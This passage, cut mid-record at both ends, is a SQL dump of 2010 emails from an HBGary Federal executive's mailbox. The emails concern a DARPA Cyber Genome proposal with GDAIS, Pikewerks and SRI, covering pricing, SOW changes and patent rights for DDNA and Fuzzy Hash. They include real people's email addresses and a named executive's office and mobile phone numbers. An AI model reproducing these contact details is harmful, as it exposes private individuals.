Vera\" <ted@hbgary.com>','Re: Pricing Lead Sheets','did u get a notification for your clearance?\r\n\r\nOn Mar 10, 2010, at 10:25 AM, Ted Vera wrote:\r\n\r\n> You change the SowS\r\n> I\'ll change the pricing and graphic\r\n> \r\n> \r\n> \r\n> On Mar 10, 2010, at 7:29 AM, Aaron Barr  wrote:\r\n> \r\n>> will you kill me if we chance the malware physiology visualization\r\n>> interface to the\r\n>> \r\n>> Specimen Analysis and Visualization Interface (SAVI)\r\n>> \r\n>> So we have\r\n>> SAVI - manual analysis and visualizaiton\r\n>> SMART - recording tool\r\n>> Brain - the reasoning engine\r\n>> \r\n>> Cool names huh?\r\n>> :)\r\n>> \r\n>> On Mar 10, 2010, at 1:40 AM, Ted Vera wrote:\r\n>> \r\n>>> Please review attached and distribute with updated SOWs.\r\n>>> \r\n>>> tv\r\n>>> >> Volume.xlsx>>> HBGary.Cost Volume.xlsx>>> Subcontractor Pricing Pikewerks.Cost Volume.xlsx>>> - Cyber Genome Subcontractor Pricing SecureDecisions.Cost\r\n>>> Volume.xlsx>>> SRI.Cost Volume.xlsx>\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',199,'aaron_hbgary_com/199.html'),(3842,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001992.M524626P3547Q3843.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Pricing Lead Sheets','Nope\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 8:26 AM, Aaron Barr  wrote:\r\n\r\n> did u get a notification for your clearance?\r\n>\r\n> On Mar 10, 2010, at 10:25 AM, Ted Vera wrote:\r\n>\r\n>> You change the SowS\r\n>> I\'ll change the pricing and graphic\r\n>>\r\n>>\r\n>>\r\n>> On Mar 10, 2010, at 7:29 AM, Aaron Barr  wrote:\r\n>>\r\n>>> will you kill me if we chance the malware physiology visualization\r\n>>> interface to the\r\n>>>\r\n>>> Specimen Analysis and Visualization Interface (SAVI)\r\n>>>\r\n>>> So we have\r\n>>> SAVI - manual analysis and visualizaiton\r\n>>> SMART - recording tool\r\n>>> Brain - the reasoning engine\r\n>>>\r\n>>> Cool names huh?\r\n>>> :)\r\n>>>\r\n>>> On Mar 10, 2010, at 1:40 AM, Ted Vera wrote:\r\n>>>\r\n>>>> Please review attached and distribute with updated SOWs.\r\n>>>>\r\n>>>> tv\r\n>>>> >>> Volume.xlsx>>>> HBGary.Cost Volume.xlsx>>>> Subcontractor Pricing Pikewerks.Cost Volume.xlsx>>>> - Cyber Genome Subcontractor Pricing SecureDecisions.Cost\r\n>>>> Volume.xlsx>>>> SRI.Cost Volume.xlsx>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',9192,'aaron_hbgary_com/9192.html'),(3843,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001992.M90292P3547Q3841.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Pricing Lead Sheets','k\r\n have us sent them out again yet?\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 10:25 AM, Ted Vera wrote:\r\n\r\n> You change the SowS\r\n> I\'ll change the pricing and graphic\r\n> \r\n> \r\n> \r\n> On Mar 10, 2010, at 7:29 AM, Aaron Barr  wrote:\r\n> \r\n>> will you kill me if we chance the malware physiology visualization\r\n>> interface to the\r\n>> \r\n>> Specimen Analysis and Visualization Interface (SAVI)\r\n>> \r\n>> So we have\r\n>> SAVI - manual analysis and visualizaiton\r\n>> SMART - recording tool\r\n>> Brain - the reasoning engine\r\n>> \r\n>> Cool names huh?\r\n>> :)\r\n>> \r\n>> On Mar 10, 2010, at 1:40 AM, Ted Vera wrote:\r\n>> \r\n>>> Please review attached and distribute with updated SOWs.\r\n>>> \r\n>>> tv\r\n>>> >> Volume.xlsx>>> HBGary.Cost Volume.xlsx>>> Subcontractor Pricing Pikewerks.Cost Volume.xlsx>>> - Cyber Genome Subcontractor Pricing SecureDecisions.Cost\r\n>>> Volume.xlsx>>> SRI.Cost Volume.xlsx>\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',535,'aaron_hbgary_com/535.html'),(3844,'2010-03-10','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001993.M271290P3547Q3844.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','IP Rights - RE: Request for Proposal - HBGary Federal - Cyber Genome Program','\r\n\r\n\r\n\r\n\r\nHello,\r\n&nbsp;\r\n\r\nI learned this morning that my team needs to know if&nbsp;HBGary will be claiming any IP rights and to email this information to us today instead of \r\nsubmitting with your sanitized proposal.&nbsp; If you&nbsp;intend to do so, please review \r\nRFP&nbsp;Attachment 8, Item 7&nbsp;and complete and return to John Spiller, Ryan \r\nVela and me today.\r\n&nbsp;\r\nRegards,\r\nCindy\r\n\r\n  \r\n  \r\n  From: Larson, Cindy S. Sent: \r\n  Thursday, March 04, 2010 3:32 PMTo: \'Ted Vera\'Cc: \r\n  Corcino, Stefanie E.; Vela, Ryan; Harlow, Douglas M.; Barr \r\n  AaronSubject: Request for Proposal - HBGary Federal - Cyber Genome \r\n  Program\r\n  \r\n  Dear Mr. \r\n  Vera:\r\n  &nbsp;\r\n  \r\n  GDAIS requests your \r\n  company to submit a FFP/LOE proposal in support of the Cyber Genome \r\n  Program/Proposal effort.&nbsp; All documentation applicable to our RFP is \r\n  attached.\r\n  &nbsp;\r\n  Important - note the due \r\n  dates identified in the RFP cover letter and Attachment 1 located directly \r\n  behind the cover letter.&nbsp; Due to DARPA\'s \r\n  due date we have a very short proposal turn around time.&nbsp; ALSO, THE RFP ATTACHMENT 2 STATEMENT \r\n  OF WORK WILL BE PROVIDED TO YOU IN A SEPARATE EMAIL BY EITHER STEFANIE CORCINO \r\n  OR RYAN VELA.\r\n  &nbsp;\r\n  \r\n  The following additonal information \r\n  is required, in addition to what is outlined in the RFP cover letter and \r\n  Attachment 1:\r\n  \r\n  Please&nbsp;identify the following for each \r\n  task/subtask that&nbsp;your company is \r\n  compiling. \r\n  1. Innovative claims that succinctly describe the \r\n  uniqueness and benefits of their approach relative to the current \r\n  state-of-the=art alternate approaches.\r\n  2. Define each technical tasks/subtasks in terms \r\n  of\r\n  a. General description of the objective\r\n  b. Detailed description of the approach to accomplish \r\n  the objective\r\n  c. Description of deliverables to be \r\nprovided\r\n  d. Completion criteria in terms of milestones and \r\n  deliverables\r\n  3. Detailed technical rationale, approach, and \r\n  plan\r\n  4. Comparison with existing research outlining \r\n  advantages and disadvantages of the innovative claims.\r\n  5. Past performance and accomplishments (Past \r\n  Performance Template provided) with relevance to current proposal.\r\n  6. Description of the place of performance, facilities, \r\n  and locations.\r\n  7. Identification of one key personnel with significant \r\n  dedication to the proposed effort (Key Personnel Qualifications Template \r\n  provided).\r\n  8. Summary of cost, schedule, and \r\nmilestones.\r\n  9. Related research, white papers, or supporting \r\n  information.\r\n  &nbsp;\r\n  Please call the POCs identified in&nbsp;the \r\n  cover letter with any questions or comments regarding the RFP and \r\n  attachments.\r\n  &nbsp;\r\n  We look forward to \r\n  hearing from you.\r\n  &nbsp;\r\n  Regards,\r\n  &nbsp;\r\n  Cindy \r\n  Larson\r\n  GDAIS Sr. Lead \r\n  Specialist, \r\nContracts\r\n',11994,'aaron_hbgary_com/11994.html'),(3845,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001993.M470042P3547Q3845.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Pricing Lead Sheets','Not yet\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 8:26 AM, Aaron Barr  wrote:\r\n\r\n> k\r\n> have us sent them out again yet?\r\n>\r\n>\r\n>\r\n> On Mar 10, 2010, at 10:25 AM, Ted Vera wrote:\r\n>\r\n>> You change the SowS\r\n>> I\'ll change the pricing and graphic\r\n>>\r\n>>\r\n>>\r\n>> On Mar 10, 2010, at 7:29 AM, Aaron Barr  wrote:\r\n>>\r\n>>> will you kill me if we chance the malware physiology visualization\r\n>>> interface to the\r\n>>>\r\n>>> Specimen Analysis and Visualization Interface (SAVI)\r\n>>>\r\n>>> So we have\r\n>>> SAVI - manual analysis and visualizaiton\r\n>>> SMART - recording tool\r\n>>> Brain - the reasoning engine\r\n>>>\r\n>>> Cool names huh?\r\n>>> :)\r\n>>>\r\n>>> On Mar 10, 2010, at 1:40 AM, Ted Vera wrote:\r\n>>>\r\n>>>> Please review attached and distribute with updated SOWs.\r\n>>>>\r\n>>>> tv\r\n>>>> >>> Volume.xlsx>>>> HBGary.Cost Volume.xlsx>>>> Subcontractor Pricing Pikewerks.Cost Volume.xlsx>>>> - Cyber Genome Subcontractor Pricing SecureDecisions.Cost\r\n>>>> Volume.xlsx>>>> SRI.Cost Volume.xlsx>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',10170,'aaron_hbgary_com/10170.html'),(3846,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001993.M677169P3547Q3846.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Irby Thompson\" <irby@pikewerks.com>','Content','Guys,\r\n\r\nI am working on smoothing out the technical content.  I would appreciate added comments on what is written, approach, research, etc.  I would like to set up a technical call today to briefly talk about the approach.  How does 3pm sound?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5869,'aaron_hbgary_com/5869.html'),(3847,'2010-03-10','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297001993.M852032P3547Q3847.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Content','That is fine with me.  I\'m assuming you mean EST.\r\n\r\nAlso, I\'m going to be sending you all the docs for Task 3 (cost, Past\r\nPerformance, BIO, etc) in just a bit.\r\n\r\n-- Adam\r\n\r\nOn 3/10/10 9:33 AM, Aaron Barr wrote:\r\n> Guys,\r\n> \r\n> I am working on smoothing out the technical content.  I would appreciate added comments on what is written, approach, research, etc.  I would like to set up a technical call today to briefly talk about the approach.  How does 3pm sound?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n',2166,'aaron_hbgary_com/2166.html'),(3848,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001994.M264810P3547Q3849.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','HBGary patent info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve labeled the attached doc as HBGary Proprietary.&nbsp;\r\nThe proposals can be viewed publicly as part of FOIA, and since the patents\r\nhave not yet been awarded this info is not yet public.&nbsp; At this point in\r\ntime I&#8217;d prefer the rest of our subs don&#8217;t see all this patent\r\ninfo.\r\n\r\n&nbsp;\r\n\r\nWe need to decide how much patent info to give to DARPA to\r\nmaximize odds of winning.&nbsp; And how we weave the patent info into the\r\nproposals may differ for each proposal.\r\n\r\n&nbsp;\r\n\r\nAs you can see in the high level overview, these patents\r\nspell out elegant methodologies for classifying, describing and communicating\r\nabout digital objects.&nbsp; Van Putte intended for a significant percentage of\r\nthe cyber genome project to lay out some kind of classification and\r\ncommunication methodology.&nbsp; \r\n\r\n&nbsp;\r\n\r\nHBGary&#8217;s DDNA and Fuzzy Hash implementation has been\r\nimplemented for detection.&nbsp; While we have some complex trait rules for\r\nidentifying the existence of certain functions or behaviors within a malware\r\nsample, there is no limit for new complex analysis work.&nbsp; HBGary has done\r\nno work in cross correlating malware samples to each other.&nbsp; HBGary&#8217;s\r\ncurrent malware analysis tools are excellent at uncovering lots of low level\r\ndata (more work to do there too) and displaying that data for a user to view it.&nbsp;\r\nThe new DARPA work is striving for full automation to remove the human analyst.&nbsp;\r\nThis will require far more automation of analysis, reasoning and visualization.\r\n\r\n&nbsp;\r\n\r\nWe want to make sure that if we deliver data to DARPA in the\r\nDDNA and Fuzzy Hash formats that we are not giving them unlimited rights to any\r\ncommercial product or what we have patented.&nbsp; We are hoping that\r\nGD&#8217;s IP attorney will draft language to assert data rights for\r\nHBGary&#8217;s commercial products and patents that DARPA will accept without\r\ndowngrading our proposal. \r\n\r\n&nbsp;\r\n\r\nUltimately at some point in time HBGary will be sold to a\r\nlarger company.&nbsp; We cannot give a future suitor a reason to devalue our IP\r\ndue to foolishly giving unlimited rights to our most treasured asset.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9091,'aaron_hbgary_com/9091.html'),(3849,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001994.M523189P3547Q3850.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: HBGary patent info','Bob,Just to verify because Ted needs to send a notification to Cindy. &nbsp;We are not claiming any restricted rights to data developed on the contract correct?AaronOn Mar 10, 2010, at 10:41 AM, Bob Slapnik wrote:Chris,&nbsp;I’ve labeled the attached doc as HBGary Proprietary.&nbsp; The proposals can be viewed publicly as part of FOIA, and since the patents have not yet been awarded this info is not yet public.&nbsp; At this point in time I’d prefer the rest of our subs don’t see all this patent info.&nbsp;We need to decide how much patent info to give to DARPA to maximize odds of winning.&nbsp; And how we weave the patent info into the proposals may differ for each proposal.&nbsp;As you can see in the high level overview, these patents spell out elegant methodologies for classifying, describing and communicating about digital objects.&nbsp; Van Putte intended for a significant percentage of the cyber genome project to lay out some kind of classification and communication methodology.&nbsp;&nbsp;HBGary’s DDNA and Fuzzy Hash implementation has been implemented for detection.&nbsp; While we have some complex trait rules for identifying the existence of certain functions or behaviors within a malware sample, there is no limit for new complex analysis work.&nbsp; HBGary has done no work in cross correlating malware samples to each other.&nbsp; HBGary’s current malware analysis tools are excellent at uncovering lots of low level data (more work to do there too) and displaying that data for a user to view it.&nbsp; The new DARPA work is striving for full automation to remove the human analyst.&nbsp; This will require far more automation of analysis, reasoning and visualization.&nbsp;We want to make sure that if we deliver data to DARPA in the DDNA and Fuzzy Hash formats that we are not giving them unlimited rights to any commercial product or what we have patented.&nbsp; We are hoping that GD’s IP attorney will draft language to assert data rights for HBGary’s commercial products and patents that DARPA will accept without downgrading our proposal.&nbsp;Ultimately at some point in time HBGary will be sold to a larger company.&nbsp; We cannot give a future suitor a reason to devalue our IP due to foolishly giving unlimited rights to our most treasured asset.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&lt;HBGary Patent Info.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4415,'aaron_hbgary_com/4415.html'),(3850,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001994.M68970P3547Q3848.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,','Re: Content','Yes.\r\nOn Mar 10, 2010, at 10:36 AM, Adam Fraser wrote:\r\n\r\n> That is fine with me.  I\'m assuming you mean EST.\r\n> \r\n> Also, I\'m going to be sending you all the docs for Task 3 (cost, Past\r\n> Performance, BIO, etc) in just a bit.\r\n> \r\n> -- Adam\r\n> \r\n> On 3/10/10 9:33 AM, Aaron Barr wrote:\r\n>> Guys,\r\n>> \r\n>> I am working on smoothing out the technical content.  I would appreciate added comments on what is written, approach, research, etc.  I would like to set up a technical call today to briefly talk about the approach.  How does 3pm sound?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11526,'aaron_hbgary_com/11526.html'),(3851,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001994.M813221P3547Q3851.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','SOW Mods','Hey Guys,\r\n\r\nPlease review the updated SOW.  This should not be a huge change, but we have modified some of the names and separated some of the tasks some.  We can talk about it at 3pm EST.  The Tasks now directly correlate to our WBS and our Technical approach, so we can easily roll up the work.\r\n\r\nLead Sheet to follow in a few hours. with listed tasks.\r\n\r\n',7264,'aaron_hbgary_com/7264.html'),(3852,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001995.M189775P3547Q3852.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Updated SOW','Hey Guys,\r\n\r\nPlease review the updated SOW.  This should not be a huge change, but we have modified some of the names and separated some of the tasks some. We can talk about it at 3pm EST.  The Tasks now directly correlate to our WBS and our Technical approach, so we can easily roll up the work.\r\n\r\n',5807,'aaron_hbgary_com/5807.html'),(3853,'2010-03-10','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001996.M673253P3547Q3853.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program','\r\n\r\n\r\n\r\n\r\nDear Mr. \r\nVera:\r\n&nbsp;\r\n\r\nAttached is GDAIS Teaming \r\nAgreement that is to be executed between our companies in support of the Cyber \r\nGenome Program.&nbsp; Please review and if acceptable as written, complete \r\nArticle 13. Notices, sign and return to me.&nbsp; I\'ll then sign and return a \r\nfully executed Agreement to you.\r\n&nbsp;\r\nIf you have any comments to \r\nthis document, please email them to me ASAP (this week) and we can work to \r\nresolution.\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy \r\nLarson\r\nGDAIS Sr. Lead Specialist, \r\nContracts\r\n',14560,'aaron_hbgary_com/14560.html'),(3854,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001997.M17791P3547Q3854.eml','\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','Updated SOW','Hi Brianne,\r\n\r\nPlease review the updated SOW.  This should not be a huge change, but we have modified some of the names and separated some of the tasks some. We can talk about it at 3pm EST.  The Tasks now directly correlate to our WBS and our Technical approach, so we can easily roll up the work.\r\n\r\nLead Sheet to follow in a few hours. with listed tasks.\r\n\r\n',9193,'aaron_hbgary_com/9193.html'),(3855,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001997.M426234P3547Q3855.eml','\"Bob Slapnik\" <bob@hbgary.com>','Updated SOW','Hey Bob,\r\n\r\nPlease review the updated SOW.  This should not be a huge change, but we have modified some of the names and separated some of the tasks some. We can talk about it at 3pm EST.  The Tasks now directly correlate to our WBS and our Technical approach, so we can easily roll up the work.\r\n\r\nLead Sheet to follow in a few.\r\n\r\n',1041,'aaron_hbgary_com/1041.html'),(3856,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001998.M422385P3547Q3856.eml','\"Phil Porras\" <porras@csl.sri.com>','Updated SOWs','Hey Phil,\r\n\r\nPlease review the updated SOW.  This should not be a huge change, but we have modified some of the names and separated some of the tasks some. We can talk about it at 3pm EST.  The Tasks now directly correlate to our WBS and our Technical approach, so we can easily roll up the work.\r\n\r\nUpdated Leads to follow shortly.\r\n\r\n',732,'aaron_hbgary_com/732.html'),(3857,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001998.M619442P3547Q3857.eml','\"Phil Porras\" <porras@csl.sri.com>,\"Phil Porras\" <porras@csl.sri.com>','Re: Content','Great.  3pm EST.\r\n\r\nOn Mar 10, 2010, at 10:48 AM, Phil Porras wrote:\r\n\r\n> Hi Aaron,  we\'ll look as soon as we\'re in the office this AM.\r\n> Do you mean 3pm ET?    My group can participate in that call\r\n> but I may be tied up at that time.   If you don\'t mind, please CC\r\n> vinod@csl.sri.com regarding the meeting specifics, and one of us\r\n> will be able to attend.  Phil\r\n> \r\n> At 07:33 AM 3/10/2010, you wrote:\r\n>> Guys,\r\n>> \r\n>> I am working on smoothing out the technical content.  I would appreciate added comments on what is written, approach, research, etc.  I would like to set up a technical call today to briefly talk about the approach.  How does 3pm sound?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10516,'aaron_hbgary_com/10516.html'),(3858,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002004.M114619P3547Q3858.eml','\"Aaron Barr\" <aaron@hbgary.com>','Updated Chart','Attached.\r\n',5306,'aaron_hbgary_com/5306.html'),(3859,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002008.M110965P3547Q3859.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary patent info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Chris,\r\n\r\n&nbsp;\r\n\r\nHold off until Chris gets back to us about how to handle\r\ncommercial products and patented technologies.&nbsp; Obviously we cannot give\r\nthe gov&#8217;t unlimited rights to DDNA or Fuzzy Hash.&nbsp; I want GD&#8217;s\r\nattorney to convince me how we ensure that DARPA contractually doesn&#8217;t\r\nget unlimited rights to delivery mechanisms (DDNA and fuzzy hash).&nbsp; &nbsp;The\r\ndata that we deliver will be unlimited rights but could be delivered in the\r\nform of DDNA and Fuzzy Hash, which we can never give them unlimited rights to.\r\n\r\n&nbsp;\r\n\r\nTo be more specific&#8230;&#8230;&#8230; Instead of avoiding the\r\nconversation by assuming that DARPA knows they don&#8217;t get commercial products,\r\nI want it specifically spelled out that they get unlimited rights to use the\r\ndata we deliver, but they don&#8217;t get the delivery mechanism &#8211; Need\r\nsolid, clear attorney-speak for this.\r\n\r\n&nbsp;\r\n\r\nBob\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 10:43 AM\r\nTo: Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Re: HBGary patent info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust to verify because Ted needs to send a notification to\r\nCindy. &nbsp;We are not claiming any restricted rights to data developed on the\r\ncontract correct?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 10:41 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChris,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve\r\nlabeled the attached doc as HBGary Proprietary.&nbsp; The proposals can be\r\nviewed publicly as part of FOIA, and since the patents have not yet been\r\nawarded this info is not yet public.&nbsp; At this point in time I&#8217;d\r\nprefer the rest of our subs don&#8217;t see all this patent info.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nneed to decide how much patent info to give to DARPA to maximize odds of\r\nwinning.&nbsp; And how we weave the patent info into the proposals may differ\r\nfor each proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs\r\nyou can see in the high level overview, these patents spell out elegant\r\nmethodologies for classifying, describing and communicating about digital\r\nobjects.&nbsp; Van Putte intended for a significant percentage of the cyber\r\ngenome project to lay out some kind of classification and communication\r\nmethodology.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary&#8217;s\r\nDDNA and Fuzzy Hash implementation has been implemented for detection.&nbsp;\r\nWhile we have some complex trait rules for identifying the existence of certain\r\nfunctions or behaviors within a malware sample, there is no limit for new\r\ncomplex analysis work.&nbsp; HBGary has done no work in cross correlating\r\nmalware samples to each other.&nbsp; HBGary&#8217;s current malware analysis\r\ntools are excellent at uncovering lots of low level data (more work to do there\r\ntoo) and displaying that data for a user to view it.&nbsp; The new DARPA work\r\nis striving for full automation to remove the human analyst.&nbsp; This will\r\nrequire far more automation of analysis, reasoning and visualization.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwant to make sure that if we deliver data to DARPA in the DDNA and Fuzzy Hash\r\nformats that we are not giving them unlimited rights to any commercial product\r\nor what we have patented.&nbsp; We are hoping that GD&#8217;s IP attorney will\r\ndraft language to assert data rights for HBGary&#8217;s commercial products and\r\npatents that DARPA will accept without downgrading our proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUltimately\r\nat some point in time HBGary will be sold to a larger company.&nbsp; We cannot\r\ngive a future suitor a reason to devalue our IP due to foolishly giving\r\nunlimited rights to our most treasured asset.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\nSlapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary\r\nPatent Info.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/10/10\r\n02:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8821,'aaron_hbgary_com/8821.html'),(3860,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002009.M309946P3547Q3860.eml','irby@pikewerks.com,\"Aaron Barr\" <aaron@hbgary.com>','Technical Area 3 Pricing Sheet','Attached is the pricing sheet for the DARPA Cyber Genome Technical Area\r\n3 effort.  It is in the same format used for Technical Area 1.  Please\r\nprovide pricing for the Tasks assigned in your Statement of Work, by\r\nPeriod (1a, 1b, 2a, 2b).\r\n\r\nPlease contact me if you have any questions.\r\n\r\nTed Vera\r\n\r\n\r\n\r\n',14037,'aaron_hbgary_com/14037.html'),(3861,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002016.M630960P3547Q3861.eml','adam.fraser@pikewerks.com,\"Aaron Barr\" <aaron@hbgary.com>','Cyber Genome Tech Area 3 Pricing','Attached is the pricing sheet for the DARPA Cyber Genome Technical Area\r\n3 effort.  It is in the same format used for Technical Area 1.  Please\r\nprovide pricing for the Tasks assigned in your Statement of Work, by\r\nPeriod (1a, 1b, 2a, 2b).\r\n\r\nPlease contact me if you have any questions.\r\n\r\n(I copied Irby as well)\r\n\r\nTed Vera\r\n\r\n\r\n',11578,'aaron_hbgary_com/11578.html'),(3862,'2010-03-10','\"Ted Vera\" 